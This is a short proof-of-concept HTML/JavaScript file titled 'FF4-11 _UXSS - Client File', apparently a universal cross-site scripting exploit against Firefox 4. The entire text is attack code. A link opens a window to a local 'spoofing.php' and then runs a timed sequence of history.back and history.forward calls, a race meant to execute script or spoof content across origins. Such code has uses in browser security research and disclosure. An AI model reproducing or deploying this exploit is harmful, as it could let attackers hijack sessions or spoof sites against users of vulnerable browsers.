FF4-11 _UXSS - Client File

<a href="javascript:spoof();">Click Me</a>

<script>

var a=null;

function spoof() {

  a = window.open('./spoofing.php')

  window.setTimeout("a.location.href='./spoofing.php'", 2500);

  window.setTimeout("a.history.back()", 5220);

  window.setTimeout("a.history.forward()", 5280);

  window.setTimeout("a.history.back()", 5300);

  window.setTimeout("a.history.forward()", 5328);



  window.setTimeout("a.history.back()", 7550)

}


</script>